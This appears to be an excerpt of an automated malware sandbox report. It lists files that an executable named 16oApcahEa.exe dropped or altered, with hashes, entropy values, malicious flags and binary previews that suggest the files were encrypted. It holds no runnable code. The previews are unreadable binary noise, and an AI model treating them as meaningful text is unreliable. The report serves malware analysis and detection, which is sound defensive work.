..S.@@i[.....IwCu.../C.=5.......{I.i).+........L....d.4.g........f]\|.U..M..j.W.....\|...0[...7.Ha.D...r..\|.........C.K.Z......q.....B........b....y^.+h._.M.......sR7..I...X^q.G

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-nb.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	145597
Entropy (8bit):	7.998695666808159
Encrypted:	true
SSDEEP:	3072:p0vkJ6qEeEh+QlqZqRnBljmad5M4pH6UYjf3EYaHA1ynb:zNQ7Rnv7XM4YU7DHA1ynb
MD5:	9510AE3F7F1EA45A8180D24DEB12435E
SHA1:	22AA02133936C779BA10A5F1DC807EF82508918F
SHA-256:	9E2640CC2D404AF96F6666CCEAF8BB05BB3B4AFEF601E388AE1008F7CEE26ACB
SHA-512:	81F1C8E528602355F82881AB5BF84A0A261CD47DB3866358F470309A197F81E17361E4EAF49BD13EF8CD29C293AFF900C37CAC2265DC2BEF3825D41F10AB9B2D
Malicious:	true
Preview:	hy.b.... .4F8...5..[R.WZP...z(t:q-.E.......>.m.@mul.?.P.WZ'..F....^....S.._.6N...h.....P.X.+.=.x..5..X..`....]..os&..1..@..".G,..} .C..n.i:$.9z..b..W..".2Bi..=6..\.......Y.&5.wyL....}...Q#.'Z1P..s.o..`.=.........`y......'@6.v....;.......:u./.B&.]......`B.u......D.=.M...f.y..@]o.p...aA.2..1...c..3P...]..Jv...'.[ .K.....p..TE7.....u.N.Y..'8.KL...V..........46.5.'..+z..fBK^4.}&..1.!..<.=K.3\.,I.L...F.h......g<..F...n....."....E.j`..k.v..^z...w.....^"/.;..-3........iP...`..1.j?,z.M.r..?.....i....\|....^.y..q..@.....M.M.5l8.;&...(..Q.'~,R.;lg.I.,....F.'P...au..C..#$.A..#..h...+ST.. x~......2.,.8.5.W..+9...S.F._Yn.Z....Z'....V=rptc..Qh_..{.\...?8....s'.....}... ...V.H..f.1L.M.6.YC.u....(.wit=...s..Y.m...b:.L.ZP.y.K.+.~.(.z5=.2..f8.U.l..YX).......u..dCk(...6y.a04.O....2.+.e....8....j.x..d..U(.@....p.B.....c..:m]...!2o...]...<....."..H..e].N..$...TW...Q..#zRW....^dw.O..b[ oe.....3 .#..Y= ....L.E.4..ye...<.Y.Sg.'.^$.*.M......n...X...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-pa.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	941
Entropy (8bit):	7.75182406289672
Encrypted:	false
SSDEEP:	24:GACkJABge6we0tUtjpte8gtQ+JOKlOceZ2m0ZlwOg39pbD:GAXygzwertj7eZtQ+Jpc2NKJD
MD5:	FB2E1F1D385E939B2375FF6905212C0C
SHA1:	F3825D099C87FF1B0EF9452C931AF40B6591A029
SHA-256:	DD663FBCEF5AFC19E83D373099F5893E171F1998D142772E0204D1424B508BBD
SHA-512:	AC8909C39E1E40EB54DE5A8C7EFA1A557CE863B31C97F0C593DA61D1BDD2D3423B33AF3BC27D310F58A01B03688849F55B2A93B537A79402BFEC37BBA9490A5F
Malicious:	false
Preview:	hy.b.....<...8.q.....i...X.K."a....\~../.I./.ZC.. ...A......Vl...9..K.U...Q...r.P#;.5a..$]n.D.........l....T..E ..LS.u.`.s....oT....{....>I.q#..s?..i<.o..~![._...Q.N`...1-.....3./.Av....4.T..^.....f..Q..`....a.l...~]..L.]v..iK...5....l.v.f.WC...$....T....>w...=.x...o./......X..1..w..[.. ....h$..=.S....?;$.....`+.;.........~.._.N.8..nS+c..0.....F>.#..w4....U.....:f..( ...rS....=z..-..........7..j&...h..\|..2..P.h.dX.....Ryz..O.....l...;.<..Tl..8..F....}..%@..d..U...g..x........_V.E......3...v......>.t=k....:]wR...z..J)JN........8...!.`.....a..y7.....[.y.,.....y;r.7...(.{up..uE.KG..W8Q._s)...W........K_z..!...<...d,....B./Yj....8X......u....wB....\|1...gM.......^...g&....0..g.0.E.&Jq......[..7K.\b.pq.f..l.L..,..uM.a.-.y.nO..lu.A`...D....6C..Np.>..G6.Zs.kW.Cr.Q$..g.'.2.g........"..\.z.L....@.?..t..1Y...0....xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-pt.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1748
Entropy (8bit):	7.87470516828373
Encrypted:	false
SSDEEP:	48:2y0uJrKYmJUkqYyQZnpWIw/qqTlFJGOni65Cn2CB5etUJD:J0xYYUqWIkk4i6c2CB5A+
MD5:	12E4C6A83C5A6A3FB156294EE82A4C7D
SHA1:	DEDC724ED78E73E27A88C836FB8C1D4ECA766210
SHA-256:	B2A477C73CF9B09CA150F66FB5748ABAF48E5AD1367576D2855CEF51C982FBE1
SHA-512:	FA3AA41D90F96FEB5E35AF6F6AE6CB6A0EF977C9CF3587125293D170168FCE44D565401251576FE5F46155A0BC2FBD305ADBC01870C9AF839843C3F11099E5B4
Malicious:	false
Preview:	hy.b....qBN...5F{.0}..\...X~P.......d=.m.kia 7\|.4...!.j...........B#.-.5..7..wa.n1...%K.B...`l.N....D..R...v\$.r...,M]..;.1_.{....s..t[..E.#:..k..i..O({.....H.9[/./...LOS..9.K.......-w.Mv)V..AC.c$......q.B..C9........X..#...../T.}l0.".jA`.m...:......%Ge-0...8......3.....o.!......{..x\|L\|._{..p..u...o....!.T\.$........C..i2.K4.Mjw@$p9Pju..H~PRy..EozN.......S.V.&5V9=...:'..a.....7...,.D..~....G!.#.IH.....GL.6..3q...(...p.. ..4....`.... 5.......d.S.L..$..........e.2....B...$G.......;-.......Rxu.-.q...6..T..........\....m......D.9..+.R.....-....FN....8....d.cU.v`.......K.Y(.'F.......\.)........... .Lbw..=...x..Sw...C...L...{..p~..D c..o`X..=.Qo-.`.35.....N...........!NF.........'..w.y.nd.....Y...}F..t.pPt...1...V..RY..T..-..... ...9/...Wa.~.........`e 6..j...dw...+d#..$>E....\|..qu.M..x.V.`2..........m..-.(+.....m..@..V.7J..O{.GG....z?.i..n]..hTiL.u.I..F.{.C.......c.#HJ\|._<..[...7.n\|...,........... .....]...Q.o..[....h\|....IY......B

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-sl.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	6965
Entropy (8bit):	7.97622934138463
Encrypted:	false
SSDEEP:	96:wc7RgcoXi+ScHfQn1FZAq95LMCx34sHvyitDiBcKXytt09vyV/zIDBCFR9Jyu:vNoy+S64n9TQCx3lHtcB4mGIDBmJyu
MD5:	AD9168861F3D6E6AE80C5A10AC0BCAD0
SHA1:	892139222DFD688A8312096259A4EC6CDD3897A3
SHA-256:	34D85D05139092A3A66C8027296AD023354F2FDF43A14F29EEA66810BB760B61
SHA-512:	B29229F5F54C319612E31C35CF1CB9C48D0FF1A2CF36303DE15A1F4ED8B0929FCDB74F1F54333BD34DB272AAE85F4F5A843A56161FE8F8E687687CF191E6B7F4
Malicious:	false
Preview:	hy.b...R3._b%C~.4...a.^i....[%.....n7.v'..]q.T.....NJ]...Ls.."..x.q....\|.zr.e....\v..d .Z,..E..R.%....&o...z%#.'.9.hT.+t.I.p.....?B[....j.......8..3.....h.zvC>O2..HU5......#. ...n_J.$...4..5(...0...B....;~.z...\|.e./...p....I..Y.C.q.....N.w..'h.........@y.....Z.A3g.;..zVm........B.sAZ.a...;.3GB...Lh=......>^7.AbX.wk#.0.5.1..F\.\..&....s.g..4.E.m y.g.y..q....<.....Gw........B....tH.M.>.b.p\|.z.bSG.o.'/C.-...+....>q$.Q..D.cbY.J......=m._...C.;B..o.?"..... _j..(......!2l...>.!O...E...q.j...X=.W............."..0*.h.`...U/.XL....\....._..p..}.g.}$....21.=.XEf.Q.e......Y..A..N../...4..u....<.. r?n.4..........m...F.:..J......k.}:.......v..u0r~.........Qp....P6..C.j$.)P.............K..t..>... `..36...c.p..Uj....T.f%.e....].(...T..@.u..o..$......)/...a...5.f.T..C.O9..e..;...~Wr%.."..~k.4.....x.tTB..A..j.9'..."..SL....KE...........@.R {.eQ.l...f.......B.j~"...L......._l.Zp.M.^...{0.c..:...&.y.....lO...t.)....n..b......G.....)gX...I.......'..0h.$_.'...

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-ta.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	888
Entropy (8bit):	7.758912783320744
Encrypted:	false
SSDEEP:	12:nULr1GRdHiV+bO/V09aQjy4SjqyMwEt2NXuBY9Uy4K4P3I1pGeZhsVA9M2cii9a:pTE/YaCyDGFzoABz3IGe359pbD
MD5:	1222772F6ECBEDD1EB4D58A0D835CE68
SHA1:	528E1766A0B896AB6D696924D4B45F8944C4952D
SHA-256:	E6B188D556414A3807C124F1B0A7F401933E68C3D1B17A0538942124142DF881
SHA-512:	112019E2BC2737A43E123BABF6361B81A34600789CBB0295C746FEE8A703DCFEFB9BD4E92FC1E4DB5C3A563B4C260638EB0907FEB2D3E2EDA1D6DFADA80DBD84
Malicious:	false
Preview:	hy.b.{.).NK..jsSa.^2I3.T..BT..N.Q..D.NG.>..........~.(..]..T\..B....f.W....'..1L......\|.j..;...6c.....R.@......i4.......FP.N.+...a..a.@...Hj.6...R.S.DA.{..J.hk....k.m..:.u%....%A2...n.d...tf'.....r...L.6..oi......t.q....T.C.A]..g..y+./.._.V..N.t.x....C...5.6x...]<.._..{..WE.z..... ... ...G!.&........I...0..4..ZE......@~f........r.S..h.X....;.#.....5....3.......'XP.....+N6..T...x..i..s"[...{JtQI......er....!iQ..~f.....].....t...2/.c.,#.t.".^.....1./RD...Hv...O....F....`....{./...V.;....j.......Y.8.`!Ey.....}..a........?i.).o.....Bx..{..-&\|.p....cq.{.bD.q'..b...P..W.......~Rr.#+U.gA./$.?/.\..=w2.4m.[.a.6ry...'Vw.iE.[S(:=.IK....rm.......l..V.Y..Z.Lt/8.%.S..H%..;.E...3e...v..<\._p.G...[......EP.yF..,b',.....o3..[0..._z..<.....g. .K&...4l.g$.0b..!'..gi.>.) ..9..BxcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-te.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	1037
Entropy (8bit):	7.796193733948334
Encrypted:	false
SSDEEP:	24:gkzYTLxAimpOOnmI/EBPc4DyhMNRLLW3VqOlLpyXpIkNzs9pbD:g4mLLBE/EBPcTMNRfW3MOl8KzJD
MD5:	2FBACA5547F55D1AC45D1169E4BBEE9B
SHA1:	EE33BDB8B44CB15D7C8B7EF8E39409BFBD7D3A93
SHA-256:	E24B28B4B15120932AF3C7DF18EDD678E37481FCC296A57242581165BCCB365A
SHA-512:	7309F1A0B9BB784498150D1AFC5B35FFB039ECFC83647A2ACB97F1FF7662B1DB1E99AE769C9686CFFF70BE54C6FC427004BAF38DE8BE193D03CA1903138329C1
Malicious:	false
Preview:	hy.b...d........a+.'.l..j#.K.C@L..NE...C.{..Z../T.z..ef....vD.a.w..#e....@s..2.....W.b.`.9c.......;....n...4.}N]wKH.)....../WPXwXCz.~W.mE+.y/..7..71kX..~.e.C.h..J......_..[.xC./...L..M..D.Sn......R..T..M.x...<..q.w..7.4....J..6.........7_QXm.2.U.s.C.D;..h-.6....J..Ei.X.p...O.....1.L.Z.....#...sZ.R.H.`H...?s..<.$Z.8..1..9..-..~....y.`...X^..kj.{H.....S..]t-...u.u...;J....1(...M...?O..........2...n.q;./sBH....B.D.h.........8.i....t......v..&..Wx?.r.....O.t.u...O.V.N;..NX^y......q0h...\|M?....]..4....u8}.fW........d0.... zv.......WP...t..YL..&uE_7..#c.G..ZJA..8..#...-.I.!..\.i., ...8e\|. &...r.oUP3k....=.......i..C...._.+b.W..(..$.......A....%.R...vh.5..F.<....e-...!.3E.....B...........{..3.........Ju.......,.....D.~N....U"u..K...p..a:....1'.x.....i...~.n.....B.p..t..$.(..[..+..h.v.H......O. ...d......._.)..hL\|f.Q.4.%..1.0b.hvr...Y9...M...'j.F.A....\.l.<..".......i..C[.M...N.9....d.Zux......xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\hyphen-data\101.0.4906.0\hyph-tk.hyb

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3046
Entropy (8bit):	7.933796695744796
Encrypted:	false
SSDEEP:	48:pRbm8MzOR7IzN8eDltVA0//GGotQa2hmGJSDMuoh2pHy8PZDxNuh/FQy6oLhFgJD:pRbmRznCQltj//3oz2hJS7oGZuh/yy65
MD5:	6068017D5A9DFF72BCA97E0F560E3246
SHA1:	4CC90C11AA1A71AD240D4392110D33DEB2CB9787
SHA-256:	D1909DBFDA7E4090CA6B06D3D58095122EB057ED73D82499AD80F38ECB26D7FE
SHA-512:	2AC0C72AA96B3A7442824391C89215AEBB189931CF75BCADA9B5B1AC18BE41D61DBC7CCADF8907C1DB5D79DD5E3B4D34216F5F8798E9C01A979CC6E603A7C1B7
Malicious:	false
Preview:	hy.b.}..;.......m3...y...`5._..\........XH..@[...p...!...]..(.XF._.4..,5.e...._R..../....W%.. /.O....kC........A.....l.l&.....L.H.T9A......`.9RI...}.R..RaN{(6.oz.$..WHg.\T.\|....Ga..a..E..A...U.%}.q.~sE.v.G..K....S.:{..s...k4.8...eS.<...BE...t2A..n.A......o]...t..Iy..d...].{N..#.jD2{..MG.x1.M:.~V.0.:W#......)K.px@.M.?.,.u..&.....&..}..Q.....!.gTV..EV.&..~.E........y.........V4...l.......+..,A.3).l...X....e.M...C[l..1W..GM.D.SG.a}$..cbQ..i....C.x._\|B...$..d..r......i.^q...u.v$X....S:.2(.I..V.._(C;.S.T...^......Vm.........."`..Z#..m}..l....."..%.Ni..G>\#....ck.2...T.l......1X..+8.Kv%t........d.b.?""j...=.i.$T..E9.R.)...K..5C....q.......,.Q......7K.}....j............z.B.....t.....fn..l.jf..9.G.i3X...S.........a.:I.....0......mj../h.\|,....M.@.Qp..eZ.$.iA....up..}...n.YM.V..=)tF....Q...m.."...'..@.p....<#>e..s.gb%.').g[..P@;.e..f......%..)z*Q.../.'..j.n....nIB9 ..h.Rm...>..6.x..dNM........F~w...N.g...y..iN6..x9..i8t4.b7?e..W..~..4PO}.

C:\Users\user\AppData\Local\Microsoft\FontCache\4\CatalogCacheMetaData.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	2203
Entropy (8bit):	7.910948393944298
Encrypted:	false
SSDEEP:	48:Aew6TFiAyYzfo1Q8NAbli7WOma8wYvswH5Wv5hGISKRGHvJD:dw6hhJfo1Q4IlRwGH8hQISWGJ
MD5:	A77EC90AACAFF198229AFDDDA8B8D75F
SHA1:	9944B478E153231500EC649BE1DCC501D55A0552
SHA-256:	91567BFD492689B72A9D49F2BF855FBFDAA00C4C62C236771A08C902BEAEA7BD
SHA-512:	DE073340472A8DBE42CBFDE32118902D7E4FFD1D79E0886D46C9E1358E46C9EF10DE9E5314BE9ADCEFEF4BE074BF8D72A71AD11E56ADA2FFFE0AB57DBCA126B3
Malicious:	false
Preview:	<?xml=.....2:.9Ji....o.L...q.Y..+....1...$^..~.`S+'...R.46.6.[R....W.l..8........'.y4.B..U....il.6...n...L...O.....<.vCNn.w.y..dk'E..$..).!.J,.n%....n............]x.U.?.D{..6.e8.+..E........r...........$.P.%P.H\......}DO.o....i......m...m.O.Hb.o7.A.......f.Y 2A.k...!..p......1...\|....+.2.....R........S@~Uvpm...".c.,-.._.5_.W.$/y..S....". ..'...\...]..l....t.v$.#/..8hm.....8./....o.8.3.}`yd...3.T<.W\|...8...8..QD.;./.e....%%..B.m...K..5o.>."....E.9....\...L#.F.......3.oO,.}...Jk..\|...u.....Q.G.8>]7tMm#..v..2.4.....>~.7. .+.%.....\...L...X)O.<{.S...:..G.#.7.I.}.2.p.........%..,..C{..(.........4w...=.v:}."~>...\|...I.....N...,..Lk1.L .6..g......H........A........B^...y.\yy.....gF]JBk...#...........(..]...#..C(.....e.i...[I.c]..'.%...Pq>RRx....<M:.\|.....2..U.Bl\<..P.:.D..C.dc.#.G.{.Y...$R..)P....D...E.'...V,..x.w......Qkd..!.k.......:o..{.....}Vu..........q....}..&z.D.MOb..rY.q.H..P.%..`H../.m.....#..N..].-sq.s.&.....\...

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.chk

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979675079949967
Encrypted:	false
SSDEEP:	192:K7KGhqrnro9okPZG7u9jRjb6LkA3OK/I1vj6X0:KmGUbruuuwLZ3Bqj6X0
MD5:	779CBE70D34EA5BA79729126DE661570
SHA1:	CA2A14EDD60E6B0E99CF061A7B5B5BD10BE2B72C
SHA-256:	CBDD59DF7AB083B97222F75888AE2F59BB8B6E1564F523FFDDA9F0614BBDF281
SHA-512:	5092B7612AA67C329102DBFFDE0A76BDD4178BCC34CB41EBED53CEF60EAEFF464EA13BADA4FC6ECD2061DE19855C09F205D51E9D1356FB849E53A7A923A6BA97
Malicious:	false
Preview:	..E..iF.)U..........e.B..%.....2...o{/...W.<l.S9....._r......b#.q.=_..;....k.\.i}u./...5$..rg.{.\|.....a.T.4..2..9[.vGM........RJ8.~2f;..f...E.....[...viQ-6...8....QP.?L.y....\|.0..\|B......26..4....#..) ..O..m@j.2.v.c...0.l..(.:.....3].e.../I..=...S.7..z.......sV.T..Ms..@...V..8.y.\|..8....E..t..1./J...S...TFW..72(.~.2.RD{..2....:.wC..8.._.~.2:pyM......:...2...X.o..0ub...-.G(L%DJ.P.M.R.A.^<.z.rV...w.T...N.....?...~y.N6..1.%N.<.~.D.S..r..)..........]Z~...-..$.......t.D.z0..K...C...Q<.....3M..q.\....3...)..A.....T..vE....s....z...9.Z.#....[....]u.....+@.{.\d.Xt._..v.6.v.....B...f.....`..zp..y........4$..we.....cFs..Vk.8.k...J{.p...)La..S.R...ou.^e.z..KT.x.Q._...=d..U.....SS.~_<.mKU..~...W6o7.F...x....V>7........P.....@-..\|......!U./4.o.,..j.-......_..!24.f.W...#..Z.4MQ.A.ZTm6..V4.1z,.;N.........MU.._...............3.\...`.z.#.B....f.3;.~JD.......90_..?Z~.k.sF..g!)...K.g...5j.9.f..L.L...F......F.......)...<....q....P)...%....@0(.O.,.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edb.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.9594651956149196
Encrypted:	false
SSDEEP:	3072:EPfkcx3PnZFErxZPonaPeK59ftEbegu4Bo7VO+suwCj7edfUAXxHNiTCARzDSIvU:VcFPZWMnICigXoU+suwMY8Ukfhs
MD5:	8DD816576E963FD332769CD27115FC45
SHA1:	3DFC4ACDA1A0E1AA73B47B03FAD7F54C2B50028E
SHA-256:	4F962F5828B572B1274D4B623C4EE0BC59894A45F32C19B483CB3B0DB9DAC038
SHA-512:	DA398C229FCD0AF4766F7E99B0BD4491699C50CB5795F2B13BB807F83C5FDA8F27508332E5DE5A92F34A31F21A24D322B356F9D1D5DFF6D3E61F48364C52BC67
Malicious:	false
Preview:	?.8T.S.......).]V.....l.....m...Hp...Tp..&....A{pa.p.E.M."]R[..h.bLJ...A.........,%....a...kM.2P...@W.....?...W.kN.Cv.....h.7.U.8.uQ..4Aw.rg^.%.0&.R...wH!<9{@a....c/Y?...-..^...\:..Y..M.F.+.ar..=.q.]...../Pu...q......}.,..e.... >M.......%....g...T+....4..i.\...M..Tt.]..4.!...H...K.,b.I.....I..=.$$:m.YU...H...E?.O.Y.a.........W..l....z4kY.....PU...=..k=..\|r%....gW.?^Q..F....q..M..^].D..G.Y...@>`6......W.8...Y.U>.^i..T..Y0b.....6....Z....A.2......w.+-.wf....x.4[.E..C.x...p.......s.s)pFS......U.....5.=q.YI.[.{k1&.%i...k....v.9..i.%_\|.R.i.X-.....x......4l..=.#F2..U..OI.fX...VH..%....7b.....^od.>.....Ha..y...e..:.....]...[..........a...C...S...e%.P4D9P...!&..JZ.0.3....../.muT7.....m.`%Kb.v......2(o..i..M.@d..L..zL..{.N...............$[..".W..Vr.~[....).]...b....kk....W...1R..L....]=SBJ.c....2.F.,c..............X...sG..pr..IF.^............!....S.....rO...T..O....1.........97E.1..em7^.e. ..-...XW.7.n....r....A..o'..&.9,...o_

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00001.jrs

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2078705220521186
Encrypted:	false
SSDEEP:	6144:GoL2HvjpEpGrDZMVU+L9Et9iqFXc+lSx2:GvO+DaLL64+sk
MD5:	4A2204717EBFC7C4EB3137F2415831E4
SHA1:	A4E4C0E7E3CB1E0B30165552C2C30C6DFEAD90C9
SHA-256:	0AD3C93E3C5353C73246A3647B06A527B314C290E9C2F01ABB089559BDA81F22
SHA-512:	7BE7CA6A8FB692CC0995582D23757526150435844FF8291E817CFCDD28678A12804547670829B4B512B980A7EDD63B02F26BA8D2ABF6F9F4F876A6B0F04A28AC
Malicious:	false
Preview:	.....@..7_.K...MAwgt......7!..h..k.L..12.]..`..s.M..{...Gyzb...6..UT....H".uK`..\vs...d....}..q.&)..:B......>...=......W.{......;o4/[J.u.n\....O...\..Hk..\|.B.jR.H..D(D.=.......a\.BO.....c@.0.,....U...l..C....7 =....D..!..[....2.t...#...%.B....N0..b...3044.%.F..?f..5..!.+8B4....p............H..H\|..g:...;O....t..8..f-......e.!.SJp..e.)B.$n.k./..$.3S .....ocE.......'....................u....Y.!....E.+.K"Ns.......m..d8.eT.....V.N..l.W.e...I.te.uP....z_....=.Q...&.stI. ...7.!.^@...@.M"-...C.r<.?..I.Iw,..v...?.... ....i.....O..$.@'ti.[...\|{..2...0.+..p.v.N....F..(.J.dUJ.....;.N ...M.[A.......Q.&.GIQ.:.i.u.}u....{.......C.r:.R.j8g\|DS.j_...F.3p.....M...i?........t6.L..A..9.$....C.$p[\m.}Y.^..z\|[C..V\|..9\H3...f#.l.W[.\|;7.Y.5}W.jJp..6.....)5h....<..j...-......9.~....J..q.j..A....8..\|.6@z.fjv].R..>.[.]A.f.E....=9...O.D......f.jb..j....;z..E.....h..k...=.F....!.2j.....\.AC...w....V.nTW5M.X$...[..<].1.kPE.....m.OW].Wu..1..W.....f..j.2..(-U.....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbres00002.jrs

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2074835543875695
Encrypted:	false
SSDEEP:	3072:+aIKGr5NvR03FrOUq6Oz6L0kv6xPrnRaI31xu/k+6UaPol1bI:+xxMY3uL1CRaYusr7Ps8
MD5:	C62CCDFC705B74BA55BC1B3B9907088C
SHA1:	A0F81FC7F5AE71AFB8D5F6A573E901961271869C
SHA-256:	F1C5960CE712878307082D62130771C35C03178D972FDA2A210DF579B6F458DB
SHA-512:	894D29E3D5290E58BB3CA6FA584F06A070A470796EFBBA7FFF1F8E4703873A67BD4B7D4A03331BF1005584325AAA4E6D3CBE52CF77A44BD018F36AE448B32289
Malicious:	false
Preview:	........E...{v.k.........q.<..\W...Z.9..r/.0G..aQ..e............~%.......C. ..\|c.p.[.!.$.0.n..b....`'..fG....R.3T.D.d..F..e.k.....8.g....kr...R9%r..=.b...S!..\...(B..3.....php.>...g.$.be....B....+.+..\.W.j..C....#...K.P.H....xl....}..)......].pk.......\.....,.l......5..d..O.........y...."....5.t.s...T....`.%.-....SK6..ss.S^M....9..x...ZjUZ.......L..r...wv.bv.M..%.q.i...wCx.}^.(.%.VB_..t..i...%Q.+...!.<^..J...-.+.j..T..3W._.8.9t..u.....Z.:..D.bDK.\|p.....?.y'...xp...<...O.b\...lj....^.!9.{.~..n...o.U.=.`.F...W..-..=...5........Z&.3..Y+96..]..#nk`.B....4q..i"T........I...F....Z3......3..Jc.v."&q8..\|...O..Ir..1...C.\.......2z...I.9h....y.'....3..~..}.d.....k.N1.........F.E...N..9.....Wh.e..mf..$..5......Q.K.K.......K.]_..a.F......R.z..C.....:.....]<W/\|..2..[....9Z....(....^h.........@........I.C^#._.&F%Qq...\;..v.C.U@....... G...U....8.dQ......&..B.........JQ..L...r..l...hm..a..X..).\|0.d.H....o.d.y..rT...g.s.f<@..\|.o8..,.

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207973283976394
Encrypted:	false
SSDEEP:	3072:CpcxmscnLkIrIl3RmVeANGUW2GtrfOQ0+a16+zsW+Oyvus2q/v5x0dRl:C+mscnLknlcoANXmrfOdfs8cBx0dH
MD5:	E049F0C5D6C805CC1361BD23CF653D04
SHA1:	F63D6315010053F68B0FD6B18A7B852A345E3802
SHA-256:	289C3682B700C5E2A59F5BB7E2F288118B0E202D15B6C86153FA7FE0D4630453
SHA-512:	560BACD3DDDF667B9F7BA6D4A6B37030A8AF785EDA342372071C73FA54F3BB81CA6326CE8D71FC3FF4EEB5CC827968B3C6DC68F5CB78C1FB4834290E663F7C32
Malicious:	false
Preview:	.....p.....dyM....G.....^03Y...C.....3L_..h....p...1...>.F.._..X.R.Vq.VL+.si..=....3gi.U...w63x.JH?.m@...f].8t.~..gQs@..y.N.c..b.r&....e.'..].@..1!...{......N.n...5.n....;.^.\|'.N..._......f(.s.......c.S_.....1..X..9.j...FUK..1..{...8..,P..3x.?.7..P...U$.X.Or..w2.,.(....Sou.A2...=j..T.F.M.1..;.......-L..p.a...H..C.\| K!......xz..K.z....I.1NB..y.p...-&..w..F>j...\|...=..;.ju...M..B)\.W.b.<a..QV..j.4....@@.6.u...U%J.H...L.L[#.`&S).. .......A<.r.".ax......9;[...).J.r.D.w.Oj..[...]..WU.s.(.....r.0.z.D.....XU.V...3O7^...cY.o.s-..'..=.u.`.cm....B..1...x......r..V.....{. 2..Nh....z9.7..Y..+.l..%?...W.]9.\|.....}.Td?.J.h0..nM..%..].Z.....&..]..../..:...v/T.\z.q.....0.cq.w..L..[FI..:-/Q.-.q...^..K>.._.2.D....@qa.....r2~N.Z...wx.n....]...(:...<.%..'%3-...W.-.E...{..t.:=...T.h:0.@.....N\|..N.~.jN...2....KO~...L.K..C...]....I^.].P".KL....$...N3Zc\|......C.X..0.4.....B..].,e...Y..j.M..cF..4..e..T...m.K>..<.....;.= .@h$.9.s....?.@$z......<...Q....

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.9381613560944615
Encrypted:	false
SSDEEP:	96:sHKozzg06zImW/pRpytX2a5yJ3igLJbKhLYGGcqizui+:srzzg0GImaoX2a5ylxl2YyzQ
MD5:	43F07559E2D05553E97E58A3008D97E8
SHA1:	1D26BB42372CACE8A4BFE864E0C1F409BA7F85AA
SHA-256:	22E492B1451CCA5011927F9E89A59BB9BACC5D30677041BEE42AA7CF73102CC2
SHA-512:	C803DDC7716B848721FA70A407191AA7150AD3D3F13C7692B29EFDB265CBF991C6D5C9D45883977A8DF42EEF017E1F1EA6B491CC73B76536CFF0813DA3EBE971
Malicious:	false
Preview:	<?xml...=}w......O..YV-t..c..d.Z..p.;/".2.C..M....i7.S.+....G&.?i.g.0.E.....^....,.N.b+i..F....W...i.k.y...h..x..FC..Q.77.....L.!.H...S_zO..F..l.....D....M.u.._....x...i..(..g..).......DG.............fzr..l.l0`r&..V[........T.A6z....1.6..@.n.....<..h,..^....H<b...LE.pK...Q.C.H..!U.....u...Qa&..$\|V.O.......X.C.......^8...a.:-H-.=.jzc..^T.5.....(#.+.....u.e..l%...3...l..Cw........<.`....C..[m.A]@.`..r.EJ...-...._o..Ly.V.g.$\|...2...N7.."90....,..T..Z)4..$..C...!vr.f.o.'(.i..8.J....9..ji..$....!+t...i.....-."99.#..)....J.4L....W...%.9;...G.p..e3...{wc..1..X[0.2..}.......X..M..I...a?.....H....eC<x.....m..m@u....?..H.m.}..........i^.m....^.T]2,.....~%..F.;G..^`;v%..m....3.A..{~Q[N.F.....m..8UZl........"b.}".=.M.b.=....s.Lr....!....TT.}.....y..d.u9!....(.9S..... ...w..M..z....S.qu%}.f#"..K.;.R....H!......c.<.+...,...nV...x%1 ....R."_...._...HGXZNt.zR=.;.;..-...U...m!....\..mf".i..."D.8..c.1..\.M.&..s...y{......"..Jb.....>x...u.\|'.".......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
